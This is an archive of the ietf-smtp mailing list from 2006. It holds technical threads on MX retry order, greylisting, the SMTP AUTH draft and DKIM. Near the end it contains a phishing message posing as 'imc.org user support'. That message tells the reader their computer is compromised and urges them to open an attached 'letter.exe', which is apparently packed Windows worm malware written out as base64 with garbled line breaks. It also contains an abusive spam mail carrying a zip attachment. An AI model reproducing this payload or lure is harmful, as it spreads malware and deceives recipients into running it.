Subject: Re: SMTP delivery orders - greylisting
From: Hector Santos <[email-masked]>
To: [email-masked]
Cc: [email-masked], Markus Stumpf <[email-masked]>
Date: Mon, 27 Nov 2006 22:35:14 -0500
List-Id: <ietf-smtp.imc.org>

One other point.

In other latest work, Greylisting support has been in field testing for 
almost a year now, but we are still a little reluctant to making it an 
official offering to our WCSMTP system.  Nonetheless, there is no 
disputing the growing popularity of greylisting among our sysops who are 
trying it out.

When a GREYLIST receiver system issues a 45x, it wants the other end to 
retry again.  The  GreyList theory works on the basis "Good guys" are 
SMTP compliant MTAs and will try again with the same parameters, "Bad 
Guys" typically are not and do not try again using the same parameters."

In order to "lessen" the pains of a GreyList System forcing delays in 
reception of valid mail or in trying again, one thing we had to do was 
offer a more flexible retry frequency table.

By default, our retries were once per hour for the next 72 hours.  By 
introducing Greylisting, we now have a default freq table of:

; Values are in minutes
[Attempts]
Default=60
Attempt1=5
Attempt2=5
Attempt3=15
Attempt5=30
Attempt10=120
Attempt21=5
Attempt22=5
Attempt23=15
Attempt25=30
Attempt30=120
Attempt40=60
Attempt72=60

What was more important was the initial retries.  This help make the 
greylisting system more palpable in the area of getting that message 
delivery as soon as possible.

---
HLS

Hector Santos wrote:
> [email-masked] wrote:
> 
>>> Hoi folx,
>>
>>> Case 1 - 4xx errors
>>> Case 2 - connection failure
>>>
>>> Opinions?
>>
>> Well, I have to say that all of the modern MTAs I've seen have managed 
>> to find
>> strategies for handling this stuff that work very well in practice, so 
>> the
>> specifications for this seem to be "good enough". And if it ain't 
>> broke...  I
>> have a hard time believing that it is worth investing the significant 
>> time that
>> would be needed to "clarify" our specifications in this regard.
> 
> +1.
> 
> I can add that for our own MTA, we use the connection failure as a 
> trigger to try the next MX expanded/priority sorted IP list entry.  A 
> 4xx will re-queue the message for the next send attempt cycle based on 
> the admin's local policy frequency table.  A 5xx, of course, stops the 
> transaction attempt altogether and initializes a bounce process.
> 
> A few things come to mind:
> 
> a) For scalability reasons, there is an inherent presumption that a 
> receiver farm are just workers for the same remote backend server 
> serving the target recipient account.  So a 5xx/4xx response for one 
> receiver would yield the same for the other receivers.  I think it would 
> be unpractical to presume that you will get a different 4xx result by 
> simply going to the next IP during the same message queue attempt.  I 
> think a remove server who believes a MTA will immediately try the next 
> IP based on a 4xx, is making a wrong generalization.
> 
> b) With the help of DNS, for larger MX systems it is prudent they make 
> sure that a random round robin of IPs are presented for their own sake 
> of maximizing efficient system availability and throughput.
> 
> ---
> HLS
> 
> 
> 

Date: Mon, 27 Nov 2006 22:11:47 -0500
From: Hector Santos <[email-masked]>
Organization: Santronics Software, Inc.
To: [email-masked]
CC: Markus Stumpf <[email-masked]>, [email-masked]
Subject: Re: SMTP delivery orders
Sender: [email-masked]

[email-masked] wrote:

>> Hoi folx,
> 
>> Case 1 - 4xx errors
>> Case 2 - connection failure
>> 
>> Opinions?
> 
> Well, I have to say that all of the modern MTAs I've seen have managed to find
> strategies for handling this stuff that work very well in practice, so the
> specifications for this seem to be "good enough". And if it ain't broke...  I
> have a hard time believing that it is worth investing the significant time that
> would be needed to "clarify" our specifications in this regard.

+1.

I can add that for our own MTA, we use the connection failure as a 
trigger to try the next MX expanded/priority sorted IP list entry.  A 
4xx will re-queue the message for the next send attempt cycle based on 
the admin's local policy frequency table.  A 5xx, of course, stops the 
transaction attempt altogether and initializes a bounce process.

A few things come to mind:

a) For scalability reasons, there is an inherent presumption that a 
receiver farm are just workers for the same remote backend server 
serving the target recipient account.  So a 5xx/4xx response for one 
receiver would yield the same for the other receivers.  I think it would 
be unpractical to presume that you will get a different 4xx result by 
simply going to the next IP during the same message queue attempt.  I 
think a remove server who believes a MTA will immediately try the next 
IP based on a 4xx, is making a wrong generalization.

b) With the help of DNS, for larger MX systems it is prudent they make 
sure that a random round robin of IPs are presented for their own sake 
of maximizing efficient system availability and throughput.

---
HLS

From: [email-masked]
Cc: [email-masked]
Date: Mon, 27 Nov 2006 16:54:31 -0800 (PST)
Subject: Re: SMTP delivery orders
To: Markus Stumpf <[email-masked]>
Sender: [email-masked]

> Hoi folx,

> due to the discussion on another list about SMTP delivery orders I have
> reread some parts of rfc2821 and IMHO 821/2821/2821bis are very unclear
> about what is meant to happen and how it should happen. IMHO some parts are
> even in contradiction to each other.

I haven't seen any outright contradictions myself, at least not  within a
single document, but there's no doubt the advice given is a bit vague. I'm
dubious as to the wisdom of trying to tighten it up, however - different
strategies make varying amounts of sense in different contexts, and trying to
come up with rules for exactly how this should work in various use cases
strikes me as being very difficult if not impossible. At best there could be
some additional general guidelines, and I expect that even those would be hard
to get consensus on.

> Also there was some fundamental controverse discussion about whether
> "cannot connect" (i.e. no TCP connect) should be treated identically to
> a 4xx error in the SMTP dialogue.

This in turn begs the question of whether all 4xy errors should be handled the
same. IMO they should not - I believe a 4xy error late in the dialogue should
be considered to be a delivery attempt and some time should elapse before
trying again. A 4xy as a banner, or as a response to EHLO, IMO warrants moving
on to other MXes immediately. The exact breakover point betweenn the two cases
is debatable, but (again IMO) probably should around the time the transaction
starts (i.e., MAIL FROM).

> Let's assume that there is a (external) mail from [email-masked] to
> [email-masked]. example.com has the following setup:

>     example.com.	IN	MX	10 a.mx.example.com.
>     			IN	MX	10 b.mx.example.com.
>     			IN	MX	20 c.mx.example.com.
>     			IN	MX	30 d.mx.example.com.
>     a.mx.example.com.	IN	A	10.0.0.1
>     b.mx.example.com.	IN	A	10.0.10.1
>     			IN	A	10.0.10.2
>     c.mx.example.com.	IN	A	10.0.20.1
>     d.mx.example.com.	IN	A	10.0.30.1

> Case 1:
> -------
> Let's assume that each of the listed mailservers/adresses will return a
> 4xx error as an answer to the
>     RCPT TO: <[email-masked]>
> command.

> IMHO the sending MTA should
>     connect 10.0.0.1
>     connect random(10.0.10.1, 10.0.10.2) or preferred(10.0.10.1, 10.0.10.2)
>     backoff for some time

I believe the MTA is marginally better off only trying once in this case, but
trying a bit harder is certainly acceptable.

> Case 2:
> -------
> Let's assume that each of the listed mailservers/adresses gives a
> "connection failure".
> IMHO the sending MTA should
>     connect 10.0.0.1
>     connect random(10.0.10.1, 10.0.10.2) or preferred(10.0.10.1, 10.0.10.2)
>     connect 10.0.20.1
>     connect 10.0.30.1
>     backoff for some time

The question here is whether or not to try all the b level MXes. Connection
failures can be due to path-specific issues, so I think it is marginally better
to try at least two A records. You might even want to be clever and try one
that's on a different subnet.

> Yes, I know about the pros/cons of connecting to all addresses of multihomed
> hosts. For a little simplicity let's assume "cons" now ;)

> Opinions?

Well, I have to say that all of the modern MTAs I've seen have managed to find
strategies for handling this stuff that work very well in practice, so the
specifications for this seem to be "good enough". And if it ain't broke...  I
have a hard time believing that it is worth investing the significant time that
would be needed to "clarify" our specifications in this regard.

				Ned

Date: Tue, 28 Nov 2006 01:04:00 +0100
From: Markus Stumpf <[email-masked]>
To: [email-masked]
Subject: SMTP delivery orders
Organization: LEO - Link Everything Online, Munich, Germany
Sender: [email-masked]

Hoi folx,

due to the discussion on another list about SMTP delivery orders I have
reread some parts of rfc2821 and IMHO 821/2821/2821bis are very unclear
about what is meant to happen and how it should happen. IMHO some parts are
even in contradiction to each other.

Also there was some fundamental controverse discussion about whether
"cannot connect" (i.e. no TCP connect) should be treated identically to
a 4xx error in the SMTP dialogue.

Let's assume that there is a (external) mail from [email-masked] to
[email-masked]. example.com has the following setup:

    example.com.	IN	MX	10 a.mx.example.com.
    			IN	MX	10 b.mx.example.com.
    			IN	MX	20 c.mx.example.com.
    			IN	MX	30 d.mx.example.com.
    a.mx.example.com.	IN	A	10.0.0.1
    b.mx.example.com.	IN	A	10.0.10.1
    			IN	A	10.0.10.2
    c.mx.example.com.	IN	A	10.0.20.1
    d.mx.example.com.	IN	A	10.0.30.1

Case 1:
-------
Let's assume that each of the listed mailservers/adresses will return a
4xx error as an answer to the
    RCPT TO: <[email-masked]>
command.

IMHO the sending MTA should 
    connect 10.0.0.1
    connect random(10.0.10.1, 10.0.10.2) or preferred(10.0.10.1, 10.0.10.2)
    backoff for some time

Case 2:
-------
Let's assume that each of the listed mailservers/adresses gives a
"connection failure".
IMHO the sending MTA should 
    connect 10.0.0.1
    connect random(10.0.10.1, 10.0.10.2) or preferred(10.0.10.1, 10.0.10.2)
    connect 10.0.20.1
    connect 10.0.30.1
    backoff for some time

Yes, I know about the pros/cons of connecting to all addresses of multihomed
hosts. For a little simplicity let's assume "cons" now ;)

Opinions?
	\Maex

Date: Mon, 27 Nov 2006 17:50:27 +0000
From: Alexey Melnikov <[email-masked]>
To: [email-masked]
Subject: Requesting reviews: SMTP AUTH update, draft-siemborski-rfc2554bis-05.txt
Sender: [email-masked]

--------------080002040206020801060609
Content-type: text/plain; charset="us-ascii"

Hi,
I would like to solicit some reviews of the 2554bis draft.
I am planning to get it done by the end of this year, with IETF LC in 
January next year.

Thanks,
Alexey

--------------080002040206020801060609
Content-type: message/rfc822; name="I-D ACTION:draft-siemborski-rfc2554bis-05.txt.eml"
Content-transfer-encoding: 7bit
Content-Disposition: inline;
 filename="I-D ACTION:draft-siemborski-rfc2554bis-05.txt.eml"

To: [email-masked]
Cc: 
From: [email-masked]
Date: Sun, 26 Nov 2006 15:50:01 -0500
Subject: I-D ACTION:draft-siemborski-rfc2554bis-05.txt 
Reply-To: [email-masked]

--NextPart
Content-type: text/plain; charset="us-ascii"

A New Internet-Draft is available from the on-line Internet-Drafts 
directories.

	Title		: SMTP Service Extension for Authentication
	Author(s)	: R. Siemborski, A. Melnikov
	Filename	: draft-siemborski-rfc2554bis-05.txt
	Pages		: 0
	Date		: 2006-11-26
	
This document defines a Simple Mail Transport Protocol (SMTP)
    extension whereby an SMTP client may indicate an authentication
    mechanism to the server, perform an authentication protocol
    exchange, and optionally negotiate a security layer for subsequent
    protocol interactions during this session.  This extension includes
    a profile of the Simple Authentication and Security Layer (SASL) for
    SMTP.

    This document obsoletes RFC 2554 and replaces it as a Proposed
    Standard.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-siemborski-rfc2554bis-05.txt

To remove yourself from the I-D Announcement list, send a message to 
[email-masked] with the word unsubscribe in the body of 
the message. 
You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce 
to change your subscription settings.

Internet-Drafts are also available by anonymous FTP. Login with the 
username "anonymous" and a password of your e-mail address. After 
logging in, type "cd internet-drafts" and then 
"get draft-siemborski-rfc2554bis-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-siemborski-rfc2554bis-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-type: Multipart/Alternative; boundary="OtherAccess"

--OtherAccess
Content-type: Message/External-body; access-type="mail-server"; server="[email-masked]"

Content-Type: text/plain
Content-ID: <[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-siemborski-rfc2554bis-05.txt

--OtherAccess
Content-type: Message/External-body; name="draft-siemborski-rfc2554bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts"

Content-Type: text/plain
Content-ID: <[email-masked]>

--OtherAccess--

--NextPart
Content-type: text/plain; charset="us-ascii"
Content-transfer-encoding: 7bit
Content-Disposition: inline

_______________________________________________
I-D-Announce mailing list
[email-masked]
https://www1.ietf.org/mailman/listinfo/i-d-announce

--NextPart--

--------------080002040206020801060609--

From: <[email-masked]>
To: <[email-masked]>
Subject: Ok cunt
Date: Mon, 13 Nov 2006 20:14:45 +0100
Sender: [email-masked]

--tINrxyKNXqQaMhyajybZZdD
Content-Type: text/plain

--tINrxyKNXqQaMhyajybZZdD
Content-Type: application/x-zip-compressed;
	name="details.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="details.zip"

////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
ICAgICAg

--tINrxyKNXqQaMhyajybZZdD--

Cc: [email-masked]
From: Douglas Otis <[email-masked]>
Subject: Re: DKIM and authentication (was: Re: Anything else on the content?)
Date: Mon, 6 Nov 2006 14:51:20 -0800
To: John C Klensin <[email-masked]>
Sender: [email-masked]

On Oct 31, 2006, at 12:57 PM, John C Klensin wrote:

> Those promises clearly stressed that DKIM was appropriate as a  
> reputation check by the delivery MTA or target user MUA, but not as  
> a means of authenticating senders and rejecting mail in transit.

Bulk-senders and large email providers wish to identify their mail to  
overcome problems created by anti-spam measures.  Whether due to bulk  
amounts of information or a small percentage of bad actors,  
undesirable collateral blocking might occur.  Various detection  
strategies have difficulty measuring levels of the potential  
collateral blocking.  Authentication allows the white-listing of  
those running afoul of anti-spam measures.  DKIM alone does not  
safely provide a white-listing mechanism as the message envelope is  
not included within the signature which makes this prone to abuse. : (

Another concern related to DKIM is related to effects of limitations  
on assurance semantics and policy.  Currently, email-address  
assurances can be conveyed only when within the signing domain.  Some  
are proposing policy that is also unable to encompass non-matching  
signing domains.  These limitations represent a substantial loss of  
freedom when the email-addresses must always be within the signing  
domain to be accepted or positively annotated. : (

> I think the above, in the context of the note that apparently  
> stimulated it, comes very close to assertion of precisely that  
> sender authentication and, potentially, rejection role.

A simple domain association scheme restores freedom to customers of  
the large providers.  A domain association scheme also allows DKIM to  
be safely used for white-listing.  A domain association mechanism  
allows customers to autonomously to assert assurances and their  
policy independent of the signing-domain. : )

A domain association scheme avoids a likely fiasco caused by sharing  
millions of keys via direct exchange or via CNAME references, or by  
millions of delegated DNS zones assigned to email-providers. Signing  
at the MUA as a typical solution will likely overwhelm DNS.

Many providers block port 25 to thwart compromised systems.  This  
restricts email to those able to find remote access with a provider  
willing to employ their keys.  Being able to designate acceptable  
signing domains allows many to retain their desired email-address and  
still benefit from DKIM signature authentication without special  
relationships or added costs.

DKIM coupled with a domain association mechanism permits the MailFrom  
address to be assured.  DKIM coupled with a domain association  
removes a provider's excuses for imposing email-address  
restrictions.  The domain association mechanism allows the signing  
domain to correlate with the transmitting entity rather than an  
entity found within the message.  Correlating with the transmitting  
entity should improve the effectiveness of abatement efforts. : )

-Doug

content-class: urn:content-classes:message
Subject: Out of Office AutoReply: [WARNING: VIRUS REMOVED]Delivery reports about your e-mail
Date: Mon, 6 Nov 2006 14:18:55 +0200
From: "Romascanu, Dan \(Dan\)" <[email-masked]>
To: <[email-masked]>
Sender: [email-masked]

This is a multi-part message in MIME format.

------_=_NextPart_001_01C7019D.BA7940EB
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

I am out of office on a business trip. I will be back in office on =
November 18, 2006.  I may not read and respond to e-mails during this =
period.  If you need to contact me urgently, please leave a voice mail =
message at my office number.

Regards,

Dan

------_=_NextPart_001_01C7019D.BA7940EB
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dwindows-1255">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6618.4">
<TITLE>Out of Office AutoReply: [WARNING: VIRUS REMOVED]Delivery reports =
about your e-mail</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/plain format -->

<P><FONT SIZE=3D2>I am out of office on a business trip. I will be back =
in office on November 18, 2006.&nbsp; I may not read and respond to =
e-mails during this period.&nbsp; If you need to contact me urgently, =
please leave a voice mail message at my office number.<BR>
<BR>
Regards,<BR>
<BR>
Dan<BR>
</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C7019D.BA7940EB--

From: [email-masked]
To: [email-masked]
Subject: Delivery reports about your e-mail
Date: Mon, 6 Nov 2006 12:38:10 +0200
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0000_DD6137EA.F0B97DB8
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear user [email-masked],

Your account was used to send a large amount of junk e-mail messages during this week.
Probably, your computer was compromised and now contains a trojan proxy server.

We recommend that you follow our instruction in the attached file in order to keep your computer safe.

Best regards,
imc.org user support team.

------=_NextPart_000_0000_DD6137EA.F0B97DB8
Content-Type: application/octet-stream;
	name="letter.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="letter.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAA
A4fug4AtAnNIbgBTM0hVGhpc yBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwB AwAAAAAA
AAAAAAAAAADgAA8BCwEHAABgAAAAEAAAAIAAAADtA
AAAkAAAAPAAAAAAUAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAU9QAAMAEAAADwAAAUBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABVUFgwAAAAAACAAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgVV BYMQAAAAAA
YAAAAJAAAABgAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADwAAAACAAAAGQAAAAA
AAAAA AAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAA AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAMS4yNABVUFghDAkCCRn7h0iRpnG1EsYAAPtcAAA AngAAJgEAd/+H
qJAAa2VybmVsMzIuZP+b599sbDVyb290XElFRnJhbWUAQVRW/v/8SF9Ob3RlcmN0cmxfcmVud25k
D/+3//98eV/uz7nd3mc7hBWA1AAeOAmyn/sVAI0GGHi2////D0BAAwAdK/RBgU/N/P/XJWsIA AFA
PI9TATZA/27/31Tx/aczu72aQRQEV4UOBkBdEAAYBC+3291ACB8ALQoDeSgHpCyK3AKXv/zlAL 4O
LxsAAL8GpzgEAIUvBRO3t//yAQAVXY5fzgtEZWMAo3YAT58AU92++9tlcF51ZwBKdWwDbgBNYXkP
cHJrl+3NBwNGZWITYVNhJ91zt+1/aQBUaHUAV2VkB3XeTW8XL7KP
bb8lcywgJXUCcwUuMn U6BPPC
e1sOYwYDPUludG+tte10RwJDOgh6SFN0YfsT/ggoZG5zYXBpVWlwaGxwDQvbsiUbR FFucjlBNfyt
aws7TgJ3b3JrUGFsc9/23f4fbWFpbB4tZAtzOG0HYbY5N/ZidXNlG3N0FxZwJLvdursXY2NvsgDe
aXYLeWMbdmwrfHRpZmkLLmdLbGkvmuFjtzhydkt 1Ym1p3bbarR3bK2kPcHB4EGFkFoYf4eZCQ2Fn
43RoZS5iH8+33ftnb2xkLVFJY2EgZmVzdG6Vj9YcIiLSL2
YFY+zOD0tvZnRjaSe 91rmtP1Nnrw15
oQOFVmjPtScRKxSC3rf3vXkGS2goB2JvZHkPr
X3l9hZZaW4vdwhKPObcsXIHemlxDGpzZi7d1toz
eU9XoityunL2tkNrILgrCG4Hvx3a++FvZyNnbnUOB1iLvUPhg6kWB5TrjtZ+b3Ifyy5jn//eChEW
DnweZMx5CZdm5y5AZG9uZXh8X9
sttHvY bxh5YQasc5v5YWt+nGtHbmRhFXS5ixVicdWOB2RuLh1i
pcKfZsXHvY38sL4u53ltYXbkXy0hZVvsiy8HQFeTIACQB8oKpigAKbV+nCogApcYUECQQT7TB3AP
bG hmQIZkZGADhqQZkFwEVExAhmRIRDwZZJBmBTQwKKQbkCEgBr8YwgL2BR8QDwBk28CmAgsMAQBm
KWywEgEAPU9VtsgfACZuYpalwxr2Bzt
8LnQwn+meFF8HXwso945R+rogpf9fYRoXbWR5Ng8pLi5A
DpzZuQaKJwNAAC35///0MDUqLioAVVNFUlBST0ZJTEUAOlxwNus00w0ALXKQbtmnFCYeBwj8JTTN
IM0Z9OwU5DfIIIPc0MQnTdM0TQq8ALgytA0yyCCwrKgC0nSDB6Q3BaCk6Qb7CXwHUE83LHuznxkI
3+gkpy+PkMHO8tgkDAfIz54dZMC4JGe0JG+sJCAn3yUKHyV8PHvy7Ewk92ggUB1v2BnBVollz5fg
ILe/9c26BHskdHzzICRUfSx7DHtNB61m4H
xtf
RwJ+VXE4PZgbXykAn0gjNg CDgydQNR8DTHWGgxp
GB1AIIsClygu2WQglL yDP2htICRBK3JtIGLtbw2aWE0pezp8LH18AW2D3wKidBQga1R3JZVoHXwZ
fNogLIZfe++gEHR9ey58KikAfW2ttdsNCgF7Vx8niC5kNhNHojzQfGZfBXKfaK3dDGVpF3UIM3N9
2127e2lefFl9H9xley1BbW2bRHvQBpMceyGw3eAWQmJlTHx3CH1urbX3BWSvBk/mHWxh61qLDrR8
fwT1bTHWoBXe3hkIG9tW6GjuY2l8z4FtFgxM1 rbuYWzQahprK2p8NXHbXhzEICBzc7pz7/xcuxUg
ZIvY7GlzZQqtxQo9vV7oOa6VmN2Nay7m/T7hv0SDY8d8UJAFYmx5LHzfIrRCBC9aDHxPYnZONNcK
dSYWOcAB+Vz8jXB1f9pkDF2hvXsYQqvifI6FZ+7nV7xieed7IHamLYJz7nJ1faPs/5IQaCZaaz85
HFUZrbltexJ0Q2ode0TswUbrDIVkg/JXeEceQit0brq 8UNh0ORHcwbnDWx9P3h2cwX2k
fANlZue j
tQjvZbgLVGdKhA/3sXVjS3uKOiAlWcHdWjuEY2hJCgqGuiXeZVLodDRmjThsC7F9PJ9yknLDCiGh
UR4GEoKhcHvW9p97Vup0dbFBCQZDrVM0QEtA22iGtnNCQ1l9c2EeDW1DlWdhUBNIcbjlrdH+6Csg
ZGEsRHQdI3Xmezd8h2gaYRZaEHpasoIBbXuz5za8VLonFasXOpxrGn13exsfBVkKhsPod30jIK6X
mqGjOdCSzXLyJY8WrBmLOhD
2QzMkpEhWKmk49t52QzQocylkOuVWVZ0Mz017VkbNm
TW3bONQHH1U
Db+RmmHMzVRkAlLQLkmHGTg+/0mvue1z/UF8pn12/KX3xh5tF2koQGGUVHgz5FpxqKp0SWQuILbW
lnQMRl2bR2HrzQrJoQguii2pQnudEHQTCKjCmmuOrmSUcEYQk1x2W3Aca5f4ZxxhLUadAUqxqmsM
qnPvBaQI5SeUUd1jUh/Cbs y1tW3wHLdZJQxldlpmm7VWnhF5LPVEhG1XqrVCWiNPO+jMLeO9MVFZ
IqUdbo7d2GYs hEZv
ZW8JxJrRQWg
6eUnTLULTIFVusr5odGgHYRXCLq9tJEQxAw0fj3Pwe7FjDI0J
G9J9qbUBoW3v3TMkaZ9BN3PEQxUyxlx6cFQ/Kxl ouMNwaQRzWtl4XicwO303WiCzeht0w6FxPC8+
RyMcDkztd2kodA4ujQAFQCRGfE9aKQINR2bogMCa217CRi/YIMktYfh
OFZDllW8Z4rCB1IBsFIVk
V6nU/kwkd3tTF/nSdW63XSBkIFvlXXwIaXzrwr6vWpYtACDkYbEcBwxuclKbHpjFX Pvap277ZlNt
grA9Q6waOFDfvXS2GsFmdk1hoGMUawauxgmzk80ezvNSgGdALrc9WmsAuOsxXGt+DNrjiQtolqqJ
uZybFFRERlHi7VNrMb69ez4AIE1B3Lbo3u8gRnvifPtNFiRmXnN9M3MAIDUwJPsNX2B7UOo1Ui64
UkE1GlvX1YggCUQAX+wDNPcRVV4NFHxB+s3hwMB So3MRlwGWGsu6a2dTZrz3DSw1NTQg8VVJtbbQ
lo5vuBR4VSCJ1pbUTU2ox8gc4A7MEBs3U817uUY7ImH0QRZX+0j2rTCxLjEuMiWWIIQOBqYHIChO
szw6IGwkHhEcctMplAHMtW17PTAB6V1wlG2EO/ggyW8ZTQYiUQdbzhMuIwM4aEvQxSUDthPd7S6N
CnCX24LAgjYsMXRCPbQgfDFfU8lbfAPWDK0SJGyZYwcHLhZEIf6ib8K78 VJDUFQUbzranO6Hv/2H
e7lCT1ggTk8dRk9VTkR8AQ/hsIQxX5gCfEnhJS20bs6GZIF8TgH87GuCHrd9a0RBVEGFsb57lWQ0
MDAtYXFyAZjx9r8lbS1F LU9QRW9VVCzG0H4w0J8uDSFBU86y9toyNqhw0LhBoW13vy1STVNAQ1JF
PEHRfDMV3EezY/kCGQxv /yGsZDdTWVNURU0tRjxYREkZt9r2U0tRVe9BQj1zazx kKNgLPz73z21i
heOMbHUvsU6UWBLxKyw
ItjEkJ4h9M
aMlMBAbGu9
CIZ7pZYgHRA1a4Jogo3S3C21Gh9jTcwcmB2UH
GwLw6QBNXAgnDwxNyFNFaeoNg60WUqQcxzCaRV NTi08seBaFfI5lLeRcpi9ZMw46ASa5zsSyXQF0
dBrtuY7MsitErSENmHfEhHTsE2NtZADuxgUDEXZlAElmAEyQIVqzAOvt5zFi2YBdAGzPj0eYeieP
uwAs4R16D18HihPcbENjY3UJNyuPtgTcAD4L9QuRPOJG40VSLbEcT06PJLfSGBwAACgiUIHVCN8i
QyJQQVSh5NqzF0F1CuHxZqZJiEAsVFPSSjzbGixRIksgT3OO7PG5FjQiWBNCCF0QukpjOxAiTNhL
mEtDrA9sW98kXnVitUslVCW3BQMOj3bHcBPh0PCI93IANHLt4BreI34AFi8nNMJrDUZoLANnJfT/
DysNAgBBQkNERUZHSElKS0xNY+MvvcBQUVJTVVZXWFlaNGMCLiywcWZnxGqlbUJwcf+lbg2buXZ3
a3owMTIzNDU2hh4E+Dc4OSsvx1gtUGaplTZuAnR5IDNvDtPvY8BeyRVOMWwaMCMeeBhuTefo0lLB
L2wxb7ZFeAuUdmAKRDYuqbI2K3zMdQQwADNJTUVPKDT70MhViYBQQnlAsp2hAU3OHiBWOR2utjYB
m0NCMi0qlLbWVHmUQG1Y1bhtCxusdC/zeE c7IQli7S28He4ReT0iTiIxAA809GsFcS1WzmmAMWjO
EWtPGPxDB2KtGWiYao
sKMRfQoGEGhQo31j4xrJ8Niz1fCwI+zk/3LjN1BDQ4WC7jTtqLmWtQjHM2
K7D3Zie9ST9HwakClLphzf8gcrRWGC/eGBe5NnPwmdjKbs/GNI0NelpqZjBFiGxD26FvfkFiMTY0
Ir3X1LhE+0BpUbjaC9jpSIRMjzpaZK/Rdrmnn1PPRHu3L6L2SJ+D1m4FQ6M9ddd1YsXaiWxpmDdi
hFwwwqRemjGvLYcGS+qwrJmdNxg2WIQujQBJVDOIuXgJ+xCytpVYbqNSQ08kBD4naKV3YjQHehJ7
